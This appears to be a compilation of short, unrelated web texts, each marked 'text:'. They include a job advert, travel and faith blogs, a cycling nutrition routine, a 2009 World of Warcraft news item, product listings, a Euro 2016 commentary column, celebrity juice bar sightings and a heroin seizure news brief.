A requirement for this role may be to attest and provide proof of vaccination for Covid 19 upon hire.
What you'll get:
- Fully paid, in-depth, interactive training in small classes with graduates like you. Our training is created and delivered by industry experts who know your field inside out.
- A generous graduate salary.
Pay rises every 6 months to reflect your progress.
A flexible benefits package including gym membership.
- Ongoing training and support.
- Valuable industry experience. Ultimately, a foot in the door to build your career in an in-demand niche.
How to apply:
Hit 'Apply Now' to tell us a bit about you.
Complete the online assessment (we'll send you a link by email).
- Complete the interviews with our friendly talent team over phone and video.
- Lastly, you'll interview with one or more of our clients.
So you don't miss out on your dream job, we encourage you to be open to relocating.
We take great pride in celebrating the diversity of each and every individual who contributes to making Wiley Edge the company it is today and will be in the future. We value diversity both within Wiley Edge and with our partner companies, and we're proud to provide an environment where all our colleagues can flourish. That means promoting a strong culture of equality but, most importantly, inclusion. We never want people to change - only add to the amazing mix of people that work for Wiley Edge.
A requirement for this role may be to attest and provide proof of vaccination for Covid 19 upon hire


text:
It seems that winter has eluded us, at least for the last four days it has, where we've had temperatures upwards of 19 degrees Celsius and we're still in the month of February. After a harsh, wet, gray and snowy winter it is invigorating to see the bright blue skies and the warm, luminous sun that casts its brilliant rays on my pale Canadian skin. These are my reflections of summer in Sardinia and it's times like these that I dream of Continue reading
Tag Archives: summer holiday in Sardegna
Ladies and gentlemen it's burning up in Sardegna this week. Today's high 41 degrees celsius (in the sun,) and a nice breezy 27.5 degrees celsius in the shade. The curtains are drawn the house is clean and the ocean is blue and calm. It's difficult to think about writing on daze like this. Who would want to? Blue clear skies, singing happy birds and smiles across the faces of the town folk. Another beach day is in order for this afternoon as the heat makes it difficult to even think about anything else.
Are you coming to Sardegna for holidays? Need questions answered? Need someone in the 'know'? I'm that person, I'm here to make your holidays in Sardegna one of the best and brightest. Just ask, I don't bite.


text:
22 июль 2019, ПонедельникThe Political System Of England
The organs of goverment in the United Kingdom of Great Britian are: the legislature, which consists of the Queen in Parliament, and is the suprem...Читать далее
22 июль 2019, ПонедельникIntroduction
The State System of any nation is not an artificial creation of some genius or simply the embodiment of different rational schemes. It is nothin...Читать далее
20 июль 2019, СубботаThe Comparative Analisis Of The History Of The Computer Science And The Computer Engineering In The USA And Ukraine.
Howard Aiken's contributions to the development of the computer -notably the Harvard Mark I (IBM ASSC) machine, and its successor the Mark II - ...Читать далее
19 июль 2019, ПятницаGorky Automobile plant in the years of Great Patriotic war.
The 22 of june, 1941. This sunday was unusually festive for workers of Automobile Plant. On the eve, on saturday, the plant personnel marked a...Читать далее
10 июль 2019, СредаI.S. Shmelev
Ivan Sergeevich Shmelev was born in the Kadashevskaya settlement of Zamoskvorechye on September 21, 1873. Ivan Sergeevich's grandfather, a state...Читать далее
10 июль 2019, СредаThe novel "Gargantua and Pantagruel
The novel "Gargantua and Pantagruel" is an interesting sample of the so-called "folk culture". In this novel, many new and unusual for percept...Читать далее
10 июль 2019, СредаRussian village in the image of V. P. Astafyev.
1. Biographical information. V.P. Astafyev was born in 1924 in the Krasnoyarsk Territory and now lives in his homeland in the city of Krasnoyarsk....Читать далее
10 июль 2019, СредаWhy is the story "The Princess Mrei" occupies a central place in the novel "The Hero of Our Time"?
Realism, as a trend in literature, has a very long history. More Alexander Sergeevich Pushkin portrayed the complex and controversial character of...Читать далее
10 июль 2019, СредаCriminological characteristics and prevention of crimes related to ATS
If you look at the problem of crime prevention in Russia (and indeed in any state), the lion's share of work in this area falls out of all la...Читать далее
10 июль 2019, СредаCriminological forecasting and planning to combat crime
Before turning to the topic of the last lecture of the course "Criminology" in the Ministry of Internal Affairs of the Russian Federation, I wou...Читать далее
10 июль 2019, СредаCriminology
From the very beginning of studying the course of criminology, we constantly said that some scientists look at this or that question differently,...Читать далее
10 июль 2019, СредаThe main features of the geography of the national economy of the Far East.
The value of the Far East in the Russian economy. The Far East - the largest economic region of the country by territory - 6.2 million squar...Читать далее


text:
What to do before, during and after a bike ride!
A car that's out of gas won't go.
When you go for a bike ride, whether it's a short jaunt or a long trip, staying "fed and watered" is as important as filling up your car's gas tank.
The difference with the human body is that you need to fill up before, during and after your trip. This essential routine will help you reach your goal for the day and shorten your recovery time.
I'm no expert in this area, and you'll find plenty of articles on the Internet packed with more scientific facts and figures than I can provide. That said, here for your consideration is my regular routine, which served me well on the Gatineau–Tremblant Challenge—a 2‑day, 320‑km tour!
Before the ride
My usual breakfast on the morning of a ride is a glass of orange juice, two slices of toast with peanut butter, and a banana. For a special treat, I make a PB&B sandwich!
During the ride
The Challenge team does an exceptional job, providing two feeding stations and a dinner stop on each day of the tour. That said, here's the regimen I try to follow:
- I drink at least one 750-ml bottle of water per hour. If I'm going to be riding for more than 2 hours, I alternate between water and electrolyte drinks.
- I nibble on snacks (e.g., jujubes, gels, dried fruit, small energy bars, etc.) at regular intervals. I'd say I rarely go more than 30 minutes without having a little something.
- I eat 1 protein bar (10–20 g) every 2 hours.
There are several products and options on the market. Personally, I like the little Fruit2 energy bars and BRIX maple gel. Both products are not only delicious, but made by Quebec companies, so they're extra good! As for protein bars, I buy whatever's on sale at the grocery store or Costco. I don't overthink it.
After the ride
Here's the routine I follow after a long ride:
- 0–10 min.: Chocolate milk or recovery drink (protein and BCAA)
- 10–20 min.: Light stretches in the shower to loosen up my muscles
- 20–40 min.: Complete meal to restore my energy
- 40–90 min.: Deep stretches to prevent my muscles from seizing up
The important thing when you're biking is to keep hydrated, and remember to eat before, during and after the ride. Otherwise, your body will make you pay! ?


text:
November 3, 2009
Changes coming for 'World of Warcraft' players
Posted: 12:45 PM ET
"World of Warcraft's" 11.5 million players will soon need a new way to get to Azeroth.
Blizzard Entertainment, maker of the popular computer fantasy game, is requiring subscribers to sign up for the game through its gaming network, Battle.net, by November 11.
Current players of WoW, as the massively multi-player online role-playing game is informally called, have until then to create new Battle.net accounts. After that, the fantasy universe of Azeroth will be closed to them.
Battle.net offers a centralized account system that lets players manage all their Blizzard Entertainment games, including "World of Warcraft," in one place without having to remember multiple logins.
The upgraded Battle.net service is expected to merge many features that Blizzard plans to use in the future while helping players keep track of current games, opt in to beta tests and communicate more easily with each other.
"We really wanted to bring the Blizzard community together," said Rob Pardo, executive vice president of game development at Blizzard. "Our fans are more than just WoW fans. They are fans of Blizzard."
Pardo said impetus for the changes started with the company's plans for "StarCraft II: Wings of Liberty," a science fiction game set for release in 2010.
"The biggest thing for players will be the cross communication," Pardo said. "It will allow players to talk to others across the realm and across games."
Pardo also said the upgraded Battle.net system will offer better security for WoW players, some of whom have been victimized by thieves who infiltrate accounts.
Battle.net's authenticaton tool produces a unique, one-time code that gamers must use in addition to their password. The code can be obtained from a fob purchased from Blizzard or as an app downloaded to a mobile phone.
"Most players lose their account info by giving away passwords through phishing sites. Our mobile authenticator will assure security even if you lose your log-in and password," Pardo said.
- Larry Frum, for CNN
Filed under: video games
We recommend
From around the web
Are you a gadgethead? Do you spend hours a day online? Or are you just curious about how technology impacts your life? In this digital age, it's increasingly important to be fluent, or at least familiar, with the big tech trends. From gadgets to Google, smartphones to social media, this blog will help keep you informed.
Recent Posts


text:
Thermal Transfer Ribbon, TR4055 Standard Wax, Black, 4.5 inches X 1476 feet,114.3mm X 450m, Coated Side Out (CSO), 24 ribbons per carton, DNP IMS America Corp.
|Ribbon Width
|4.5 inches | 114.3mm
|Ribbon Length
|1476 feet | 450m
|Ribbons Per Case
|24 Ribbons
|Order Fullfillment
|0-240 Ribbons-7 days, 241-360 Ribbons-8 days, 361-504 Ribbons-9 days, 505-720 Ribbons-10 days, 721-1008 Ribbons-11 days, 1009+ Ribbons-contact us
|Ribbon Formulation
|TR4055 Standard Wax
|Ribbon Type
|Printer Compatibility
|Ink Side (Coated Side)
|Out (CSO)
|Core Type
|Minimum Quantity
TR4055® features a blend of waxes and a unique resin combined to make an ink that flows smoothly at low print energy to give uniform coverage on lower end substrates. It also incorporates technology designed to control and dissipate static charges and a backcoat proven to protect your printhead. Specially formulated to provide excellent performance in a broad range of applications, TR4055® sets the standard for everyday thermal transfer printing.
Retail | Compliance | Inventory & Logistics
Coated Paper | Coated Tag | Uncoated Paper | Uncoated Tag


text:
…I need some encouragement, maybe insight on how you made it fully through recovery…to the other side and were able, and now are able to say you are recovered.–She asked me
Funny, I just wrote a book about this, and when presented with the direct question, I had no idea what to say. So, I took the dog for a walk.
What would I do if God didn't drop things into my head? For sure, I wouldn't be blogging and I wouldn't have a book. Believe me, you wouldn't care what I had to say.
I sat down to write this sweet friend back and nearly tripped over #3thingstomakerecoveryfinal
She gave me permission to share them with you:
1 of 3
1. I had to pitch all the women's magazines. You're right, it's still all around you. You'll still hear in the chiropractor's office. Many of your friends will still talk about their weight management. But for me, eliminating the pictures made a HUGE difference. I can't express how much. I deleted the workout sites I followed on YouTube. You and I know how to exercise. Watching those things only causes us to obsess over the "perfect" workout. Yep, trashed the Oxygen and Clean Eating Magazines too. Even the "healthy" ones. I even tossed some cookbooks. Everything that fed into the constant consideration and reconsideration of being the perfect eater or exerciser.
I fully understand the longing to still be one of the radicals. I still wanted people to look at me and think "She's one of the fittest people I know". Isn't that okay?
Admittedly, I still struggle with this a bit. God has been so very, very good and even as I've cut my exercise to 1/10 of what it used to be–God and only God–the creator and sustainer of this body, has enabled me to stay at a healthy weight (he didn't curse me for my rebellion by making me fat). So, the temptation is still there to want others to say, "Wow!"
You know what? I don't remember the last time someone did. And good grief, you know what?? I don't care 🙂
I came to better understand those emotions and the drive for perfection as I wrote my book. I had never before realized how much I WANTED everyone to think I was better–even better than they were. It's an awful admission and kind of ironic since much of our eating disordered behaviors stem from feeling bad about ourselves and denying the things we want. But truthfully, I wanted people to envy and admire me. And when I was successful at running farther or eating less–I felt powerful and superior.
I have learned to overcome that desire. It didn't come by abasing myself or convincing myself that I was an awful person for feeling that way. Really, it only came about as I have looked more at Jesus and less at me. Let me try to explain that one:
Instead of focusing on fighting my eating disorder. Instead of focusing on changing my thoughts or behaviors, in many ways, I quit looking at myself. You and I know that we can't change ourselves, the Bible tells us that and we know by experience. But Christ can. So, instead of trying to fix me, I just began to stare more at Him. Read about HIS loveliness, play sermons and Christian music even when I wasn't listening. And that leads me to another VERY important point.
Much of our church experience and even good pastors focus so much on changing ourselves and how we become more Christ-like and what we need to do to please God. A friend of mine introduced me to @PaulWMinistries. Oh Friend, the refreshing LIFE giving power of his teaching!!
You know what?? I can't become more Christ-like. I can't please God. Only Jesus can and Jesus DID. When He said "It is finished" He meant FINISHED!! All the God pleasing, doing good, etc was completed for me in Christ. That took even the guilt out of failing to recover so many times.
I BEG you to listen to some of his sermons. At first, it seemed so hard to swallow, too good to be true.
But isn't that what Jesus is? Simply too good for our human minds to comprehend?
Here are a couple sermons that rocked my world. I began listening to him in 2010. And God's word through his sermons timed perfectly to walk me through the last step of recovery.
Another killer teacher is @stevenfurtick. He's doing a series right now on #CrashtheChatterbox. It is EVERYTHING we need to know as we combat, shut down and shut up the lies running rampant in our heads.
Point 2 is coming next week…I figure after 791 words, you might need a deep breath and a drink of water. 🙂
See you soon!


text:
Franchise Agreement – 10 Key Elements Infographics
A franchise agreement is all about the promises, rights, and responsibilities that the franchisee or franchisor owes to the other. Franchising is a business model, which is specially designed to distribute products/services in a disciplined manner. Its primary characteristic is to enable the franchisee to run a successful business in exchange for complying with the defined operational standards. In doing so, the vitality of a franchise concept depends mainly on its uniqueness and policies. The agreement takes care of the quality of the franchisor's branding supporting recruitment, training, site selection, the supply chain, and marketing.
The franchise agreement determines the contractual aspect of a franchising infrastructure, which is mentioned clearly in the disclosure document. The following are the 10 most important elements in the franchise agreement, which deserve special attention from both the franchisee and legal counsel before the agreement is signed.
Here are a few more bonds in franchise agreement –
Right of first refusal
In most of the agreements, the franchisor has the option to exercise his/her interest whether to purchase or refuse the franchisee's business. This is particularly with the case, where the franchisee seeks to transfer the business or purchase the franchisee's assets when the franchise agreement expires or is terminated.
Business relation between the parties
Franchisees are always considered as independent contractors. The relationship between a franchisor and franchisee is a complicated one and it might have several implications. This independent contractor is neither the franchisor's employee nor the agent. Instead, the franchisee is in business for themselves. They pay their own taxes. They have got the liberty to hire anyone. They are the employers to their staff and generally operate independently of the other in carrying out the contract between them.
Every franchisee agreement comes with an indemnification bond, which means that the franchisee is entitled to any kind of reimbursement for any losses. These bonds, unfortunately, are no good to the franchisees. Having said that, it's the franchisee who is responsible for the day-to-day operation and maintenance of the business and not the franchisor.
So, those were 10 important elements of a franchise agreement. It is crucial that the contract ethically acknowledges all aspects of the franchisor's intellectual property and other proprietary rights. Both the parties should ensure that these are properly protected and licensed to the franchisee.
It should also be noted that when drafting such contract, the main objective should lie on maintaining a fair balance between the interests of the franchisor and those of the franchisee, taking into account the core obligations of the contract. Sparkwork provides the bleeding edge franchise management software solutions to franchises from all walks of the industries. Click here for a free demo.


text:
We got our hands dirty (so you don't have to) and tested Hoover Pet Plus against the following to see how effectively the most common pet stain (urine!) is removed:
- TriNova Natural Pet Stain and Odor Remover Eliminator
- Nature's Miracle Pet Stain Remover
- Rocco & Roxie Stain and Odor Eliminator
- Pawstruck Professional Strength Stain & Odor Remover
Read on to see what we found and how it ranked against the others. Need advice on how to actually clean those stains and get rid of that odor for good? You can find our comprehensive guide on how to clean pet stains out of carpet here.


text:
Football on TV: There Is Another Way
I'm not sure if this is a commonly held view but I have really enjoyed this tournament. It has not been a brilliant one, the benchmark remains Euro 2000 and I will explain at length to anyone who disagrees why they are wrong, and there have not been many truly memorable matches but there have been very few turkeys. Aside from Portugal, most teams have provided at least moments of entertainment: why, even England were very watchable against Russia. How long ago that seems now.
Perhaps the key reason for my enjoyment has been the fact that it's been the first tournament I've followed in full from outside the UK. At present, there are quite a few reasons for me to be glad to be living outside the UK: never mind my disappointment on June 24th, the real boon has been avoiding UK (and specifically English) TV coverage. The 200% live blogs have offered regular reminders at just how lucky I am: the endlessly repeated banal facts, such as the population of Iceland or the contract status of Hal Robson-Kanu. The facile witterings of Glenn Hoddle have been thoroughly deconstructed by many, most memorably by Danny Baker's presumably-wine-fuelled tweets. Sam Matterface is still a thing. The sneery way Clive Tyldesley mentions something and leaves the unsaid inference hanging in the air. The fact that Ian Wright is still employed as a pundit. The say-what-you-see approach of Mark Bright. Alan Shearer's increasingly crimson pate. Robbie Savage.
So what can our European overlords/brethren (delete according to personal politics) teach us? By virtue of living in northern Italy, I can pick up coverage from Germany, Switzerland and Austria. Along with the Italian broadcasters, they all have differing nuances and none of them can be considered "perfect", especially given that TV presentation is essentially a question of personal preference. Nevertheless, here is my 5-point plan for improving UK football coverage:
1) Do something about the co-commentator. The need for a co-commentator has been set in stone for as long as most viewers can remember. It is not possible for one person to relate the match alone. Well, the Swiss and Germans don't seem to have got the message. Their commentators work alone, without anyone next who they can "banter with, if banter is now a verb. Instead, I imagine that the TV executives at these channels feel that a well-informed commentator can be relied on to provide sufficient information to viewers without the insight of someone who has played the game. What would Robbie Savage think?
Italy's RAI does employ a co-commentator, most commonly the former Inter and Italy goalkeeper Walter Zenga. Zenga has had a chequered career as a manager, which is a polite way of saying he hasn't achieved that much, but as a summariser he can offer genuine tactical insight. In the first half of Italy's game against Sweden, he noted that the Italians were sitting far too deep and with the lack of pace in their team their attacks were starting too deep to hurt the Swedes. Antonio Conte clearly agreed, making the necessary changes after half-time in a match Italy ended up winning. Score one for Zenga. As the cricket writer Jarrod Kimber said of the late West Indian commentator Tony Cozier, the best commentators give you a little bit of information from a wealth that they have, whilst others give you all the information that they have been provided with. The best broadcasters are usually the best informed.
2) Does anyone really care about what happens at half-time? Clearly German and Italian TV companies don't give a damn about the half-time break, allowing you to go to the toilet, refill your drink or quickly take the dog out. The former has an irritating habit of cutting to the news during the interval, allowing the crushing reality of the real world to permeate the escapism that sport offers. This leaves little time for analysis, with usually just a couple of minutes for regular pundit Oliver Kahn to discuss the key points from the first-half. For Italy's RAI, virtually the whole of half-time is devoted to adverts, with just a couple of contributions from the two studio presenters who quickly sum up the main talking point over a replay.
3) Employ more female commentators. Most countries in Europe could benefit from employing more women as commentators. There really is no reason why a woman should not be employed as a football commentator and whilst Jackie Oakley is not really my cup of tea, is she really worse than Jonathan Pearce? The German ARD-owned channels had Claudia Neumann on their rota of commentators during the tournament and whilst she was only given the lower-profile games, it is at least a start, although predictably plenty of idiots expressed their ignorance on the channel's Twitter and Facebook feeds. That said, in the studio women were very hard to spot in Germany, Switzerland and Austria. There cannot really be an excuse for that: given the status of the women's game, there is not even a reason for the studio pundits to be uniformly male. RAI do employ a woman to present games but their coverage barely extends beyond the match itself, with no studio analysis or reaction, so her role is really pretty limited.
4) We need more variety in our commentators. I know it is a staple of the 200% podcast but all commentators really do sound the same these days. Watching this tournament has provided me with a real contrast in commentary: On the German-speaking channels, the commentators don't say observe the old Richie Benaud maxim to "never insult the viewer by telling them what they can already see" the commentators in all three Teutonic nations adopt a minimalist approach. The effect can be unnerving, with relatively long periods of silence between interjections.
The contrast with the Italian commentary is especially stark, with the men at the mic seemingly labouring under the misapprehension that they are working on the radio. This means absolutely every action is described to you, often in exhausting detail. At times of genuine excitement, such as Italy's stunning win over Spain, this can really add to the experience but during more prosaic games (to take an example at random, Germany-Poland) it is much more irritating. At least the commentators have distinct voices and styles, however, each bringing something different to the lip mic. Watching Match of the Day next season, I will really struggle to identify the commentator without the helpful caption at the start of each game.
5) A bit less passion, a bit more knowledge. The Austrians had high hopes for this tournament, built on a strong qualifying record and some stand-out players who often saved their best performances for the national team. Instead, they exited at the group stage in humiliating fashion, their only point achieved thanks to Christiano Ronaldo's hilarious penalty miss. In contrast to the English media's in-depth self-flagellating inquest into why England are shit, there seemed to be more of a resigned acceptance to the Austrian TV coverage of the conclusive defeat to Iceland. There was no gnashing of teeth, no faux anger at how the team had let the fans down. Some may say the Austrians don't care enough about football, that they lack the passion of the English. Others might respond that this is a healthier relationship with one's national sport.
The German coverage struck a similar tone when they lost to France. During the semi-final, he was obviously asked about the penalty conceded by Bastian Schweinsteiger. "Clear penalty", he replied, before going on to explain why he thought this to be the case. It was a convincing argument. I doubt whether an English pundit would have been so certain. At the risk of sounding like Boris Johnson in Liverpool, we are a bit more self-pitying in England. We like to look for an excuse: David Beckham or Wayne Rooney's red cards; Frank Lampard's shot which crossed the line; the "lottery" of penalties. Sometimes referees make decisions: deal with it.
Watching these channels, it's hard to avoid the thought that a little more thought and a little less passion could go a long way to improving both England's TV and its national team. I have no doubt that, now we are apparently in a post-experts age, none of this will happen and football fans will continue to be served the same lowest-common-denominator dreck and manufactured controversy. Maybe at some point they will look at the way they cover sports such as rugby, cycling or F1 and realise that there is another way.


text:
Joe & the Juice, 11906 San Vicente Blvd.
Holly Robinson Peete picked up an "#HerbTonic" drink made with "Turmeric ginger pineapple red bell pepper black pepper" and "apple" from Los Angeles, CA, USA's Joe & the Juice, 11906 San Vicente Blvd. in October 2018.
Holy Juice Bar
Kyle Richards had "Celery juice" from Los Angeles, CA, USA's Holy Juice Bar in October 2018 and said she was "Ready to face the day now."
Bowl'd Acai
When asked in July 2018 what his favorite place to eat in San Francisco, CA, USA is, Hunter Pence answered, "Since I'm eating bfast . . ." Bowl'd Acai "is my favorite place for açaí."
Rooted Juicery + Kitchen
Chrissy Metz picked up a drink from Cincinnati, OH, USA's Rooted Juicery + Kitchen in April 2018 and raved, "This is everything."
Kauai Juice Co., Kapaa
Colbie Caillat grabbed some drinks from Kapaa, Kauai, HI, USA's Kauai Juice Co., Kapaa in March 2018.
Akamai Juice Company
Alicia Silverstone "loved the naked dragon" juice from Hanalei, Kauai, HI, USA's Akamai Juice Company in February 2018.
Jugo Juicery + Body
Nia Long was "Feeling refreshed and energized" after completing an "amazing 1 day cleanse" in February 2018 from Jugo Juicery + Body.
BodyFactory, Sunset Strip
Ian Ziering ordered a "Body fuel protein shake with blueberries" from Los Angeles, CA, USA's BodyFactory, Sunset Strip in January 2018.
Raw Jūce
Trey Songz checked in at Raw Jūce in January 2018.
Southern Pressed Juicery
New Orleans Saints fan Harry Connick, Jr. was "getting ready for game time with the green monster from" Southern Pressed Juicery in November 2017.
Moon Juice, Silver Lake
With a "Full moon in Taurus" in November 2017, Autumn Reeser shared, "I just drank a Blue Moon smoothie" from Moon Juice, Silver Lake, "I'm the proud owner of this pretty mood ring, and I'm on my way to a full moon sound bath. I think it's safe to say I'm fully Full Moon committed."
Protini Bar
In November 2017, Casper Smart said Protini Bar serves "The best açai bowls ever."
NUDA Juice & Wellness Shop
Christina Milian munched on some "Healthy Stuff" from NUDA Juice & Wellness Shop in October 2017.
Under the Mango Tree
Adriana Lima declared in October 2017 that Under the Mango Tree serves the "Best Acaí Bowl."
Los Olivos Lemons
Candice Accola made a "Road Trip Stop in Los Olivos" in September 2017 at Los Olivos Lemons, where she picked up a "Blueberry Bliss" drink.
The Juice Truck, Mount Pleasant
"GOOD MORNINNNNG" is what Lucy Hale said as she sipped a green drink from one of The Juice Truck locations in September 2017.
Backyard Bowls
Ashley Tisdale had a banana and blueberry-topped order from Backyard Bowls in her car's center console in September 2017 and said, "Breaking news lol @backyardbowls."
JOE & THE JUICE, 8532 Melrose Avenue
Wilmer Valderrama dropped by JOE & THE JUICE, 8532 Melrose Avenue in September 2017.
Lifehouse Tonics + Elixirs
Shay Mitchell was "Jumping for banana J O Y" when she tried the banana cream dream and The Wolf at Lifehouse Tonics + Elixirs in July 2017.
Juice Crafters, Downtown LA
Becca Tobin sipped on a healthy drink from Juice Crafters, Downtown LA in July 2017 and joked, "I wish this was pizza."
Project Juice, Montage - Laguna Beach
Spencer Pratt and Heidi Pratt stopped by Project Juice, Montage – Laguna Beach for a healthy drink in July 2017.
True Food Kitchen, Newport Beach
Spencer Pratt was living that "#Souplife" at True Food Kitchen, Newport Beach in July 2017.
Banzai Bowls, Laguna Beach
Spencer Pratt perused the menu at Banzai Bowls, Laguna Beach in July 2017.
Real Good Juice Co., Old Town
While working out in April 2017, Sophia Bush gave a shoutout to Real Good Juice CO. and shared, "I bring my own wellness shots to ADR because we may have wrapped but my set cold has not."
naturewell 2 Organic Juice Bar
Christina Milian had a healthy, colorful shot when she came to one of the naturewell 2 Organic Juice Bar locations in April 2017.
Greenhouse Juice Bar
During her "#healthyeating" in March 2017, Katie Holmes came to Greenhouse Juice Bar and said, "Love the acai bowls."
The Squeeze, 108 MacDougal St
Jessica Seinfeld picked up the I Have a Heart-On green juice ($9.50), Like My Nuts? snack ($4.99), and Funonion Rings ($11) from one of The Squeeze locations in March 2017.
The Hive Santa Monica
America Ferrera ordered some "delicious avocado toast" ($8.50) at The Hive Santa Monica in February 2017.
Kreation Kafe & Juicery, Santa Monica
Kelly Rutherford came to this Kreation Juice for coffee with a friend in January 2017.
Lokale Juice
While on vacation in January 2017, Hillary Scott said she was "Repping my fav juice bar" by wearing a Lokale robe.
Juicy Ladies
The "Day after" Thanksgiving in November 2016 called for a Juicy Ladies juice run for LeAnn Rimes.
TRUCE North Loop
Whitney Port came to TRUCE North Loop in November 2016 and shared, "My #bestie started it AND its the [bomb] . . . I came to Minneapolis for a work meeting this am and was feeling sluggish. After my meeting I walked to the North Loop shop, downed my SO CAL- and felt so much better!!!"
Green Tree Juicery
"So Juicy" was LeAnn Rimes's September 2016 review of Green Tree Juicery's "Mindset" and "Detox Green" juices.
Pressed Juicery, West Hollywood
"All-natural frozen yogurt" topped with fruit was what Jessica Lowndes was having here in September 2016.
Juice Generation, W. 72nd St.
Jenna Ushkowitz shared the message, "MAMA SAID DRINK YOUR GREENS," when she was checked in to Juice Generation, W. 72nd St. in September 2016.
Wicked Juice and Kitchen
Whitney Port said Wicked Juice and Kitchen's watermelon-flavored drink was one of her "Fashion week essentials" in September 2016.
Juice Press, East Hampton
Russell Simmons stopped into Juice Press, East Hampton in August 2016.
Glow Bio
Kerry Washington had a Glow Bio bottle by her side during a Scandal table read in July 2016.
Beverly Hills Juice Club
David Beckham browsed the bottles at Beverly Hills Juice Club in July 2016 and said, "Hmmmmmmmmmm choices choices."
SunLife Organics Malibu East
Rosie Huntington-Whiteley called her SunLife Organics bowl in July 2016 the "Best breakfast in Malibu!"
Kreation Organic Kafe, West Hollywood
Jessica Lowndes ordered an egg white omelette topped with sliced avocado and coffee from Kreation Organic Kafe, West Hollywood to have a "Healthy start to the day" in June 2016.
Juice-C-Juice Bar
The Game said Juice-C-Juice Bar was "back at it again with the bomb ass healthy snacks" in June 2016. He recommended, "if you haven't been there you need to go" and get your "healthy food for the week in bulk, refrigerate & eat when you're hungry instead of resorting to garbage & junk food."
Joe & The Juice, Nice Airport
Stephanie Pratt said "We found my favourite!!!! Mr Joe!!!" when she was at the Joe & The Juice, Nice Airport location in June 2016.
Whitney Port was checked in to TRUCE when she shared her "Minnesota breakfast" — a morning greens juice that "does a body good" and donuts — in January 2016.
juice. Nashville
Martina McBride drank juice. Nashville's sing. drink ($6) while in the studio in December 2015 and said, "When your juice matches your plan for the day."
Artichoke Hampstead
Sam Smith sipped an Artichoke Hampstead juice in August 2015 and said it was "Saving me from this jet lag."
Daily Juice Cafe
A day after his August 2015 lunch at one of the Daily Juice Cafe locations in Austin, Sam Smith was "Still dreaming" about his salad and green party ($10) drink.
The Juice Well
Suki Waterhouse gave The Juice Well's reverse osmosis water ($2) a thumbs up in July 2015.
KRISP Fresh Living
Monique Coleman sipped on a drink from KRISP Fresh Living in July 2015, saying, "I love to incorporate fresh organic juices into my lifestyle & this one is delish! #EatMoGreens #drinkyogreens."
Owen + Alchemy
Taraji P. Henson called Owen + Alchemy "Heaven!!!" in July 2015 and said it carries "The best juices EVER!!!!!"
The Good Life Eatery, Chelsea
Lily Allen was pleasantly surprised by The Good Life Eatery, Chelsea's "Courgetti" — spaghetti made of zucchini ($13) — when she ate it in July 2015.
MatchaBar, Brooklyn
Kiernan Shipka grabbed a green juice while she was "Visiting an old favorite, the coolest ever" MatchaBar, Brooklyn in June 2015.
Kreation Kafe & Juicery, Venice
Jessica Lowndes made "A little pitstop" at Kreation Kafe & Juicery, Venice in March 2015 an picked up a salad.


text:
Oil To Gas Conversion
For any homeowner, the choice to convert a heating system from oil-based to gas-based is prudent. There are many important benefits of an oil to gas conversion: such as cost savings, environmental protection and operational efficiency.
There are reasons why heating with oil is more expensive. Most natural gas is mined in North America and that makes its pricing less volatile than oil. The cost of oil is also higher because it gets delivered by truck, whereas natural gas is sent through a utility company's gas line. Maintaining gas heating equipment is also less expensive than maintaining an oil furnace.
According to the U.S. Energy Information Administration, it is estimated that natural gas is used in over half of the heating systems in the U.S. (electricity accounts for 34%, oil 8% and propane 6%). The nation's average cost of heating a house with oil is $1,700 annually, while using natural gas only averages about $900.
Higher costs are not the only reason for homeowners to make the switch. It's common knowledge that natural gas furnaces have significantly lower carbon emissions than oil, so installing a gas furnace can also help save the environment. There are also select government rebates for homeowners who choose to install more efficient heating equipment.
Installation of a natural gas system includes a metered connection both inside and outside the house and an underground pipe that will be run from your house to the gas main. Once installed, the utility company will install the pipes from the meter to your heating plant.
It's wise to choose an oil to gas conversion if the fuel-cost savings can eliminate the conversion costs in less than five years. Before you make the switch, visit a plumbing supply showroom to learn more about the best gas furnace options for your new system.


text:
Do you ever stare at the blinking little cursor... wondering what in the world you should say on your blogger? Today, that was me. SO much mulling around in this brain. Today is iFellowship and I haven't participated in awhile. I love fellowship on all levels, including blog world. What a blessing!
Last night, I got to fellowship with some lovely people. It was good for my soul. My sister and I went out to dinner with a friend we grew up with. She is getting married this summer like my sister. It was so good! I didn't take any pictures... woops!
After that, I realized a friend from my internship program was having a "going away" celebration as she is leaving for RAWANDA on Monday. I stopped by to pray with her and wish her off well! It was so good. Again, no photos. Silly me!
How does this all tie together?? Oh yeah, that fellowship is so important. Surrounding ourselves with people that uplift, challenge, and encourage us to grow into who God is calling us to be.
I've shared this song before... but I love the reminder... That God is FOR us! Be reminded of that today!!
How Can Newlyweds Save Money Fast On A Low Income?
17 hours ago


text:
Amritsar (IANS): The Border Security Force (BSF) Sunday seized three kg of heroin, valued at Rs.150 million in the international market, from the Amritsar sector of the India-Pakistan border, an official said.
A BSF spokesman said the seizure was made near the Fatehpur border out post, nearly 300 km from Chandigarh.
BSF troopers noticed some movement in the area near the international border despite the darkness and dense fog. They fired in that direction.
A search of the area later led to the recovery of the heroin. The suspected smugglers escaped under the cover of the fog and darkness.
With the latest seizure, the BSF has seized 361 kg of heroin this year in the Punjab sector. A total of 322 kg of the narcotic was seized in 2013.


text:
Buddeez 8 Quart Container with Flip Top Spout [~10 lb Grain Storage]
8 Quart/2 Gallon Flip Top Container/DispenserMore Info
Highlighted Features
- Bag-In Feature Allows easy dispensing from original bag - keeps food fresh and maintains brand and nutritional information in sight.
- Durable container allows for big pour with flip lid or controlled pour with spout.
- Keep food fresher longer.
- Not only great for Feed and Seed, but can be used for Pet Litter and Treats.
- BPA Free, Made in the USA!
My estimate for grain storage capacity for unmilled malt is 5 lbs per gallon. At that rate, this could hold around 10 lbs of grain. That's a rough estimate, actual storage capacity will vary.
What are others saying? Search this product's Amazon reviews for "malt" – may include reviews for other sizes or variations
Buddeez 8Qt Pet Food / Bird Seed Storage Container and Dispenser – Flip Lid /Pour Spout with Durable Handle – note that multiple variations of this product may be available, as such a different version may appear at this link
Hands on Review: Vittles Vault Stackable Storage Bins for Homebrew Grain Storage!


text:
Google assistant and Alexa
Language Translation is not a mechanical or a very rigidly followed set of rules. A high-quality translation cannot be done just by learning a few languages. It is a highly specialized skill that requires considerable study and practice. This becomes even more important in the case of advertising and publicity materials which try to induce the targeted customer by dealing with their level of understanding.
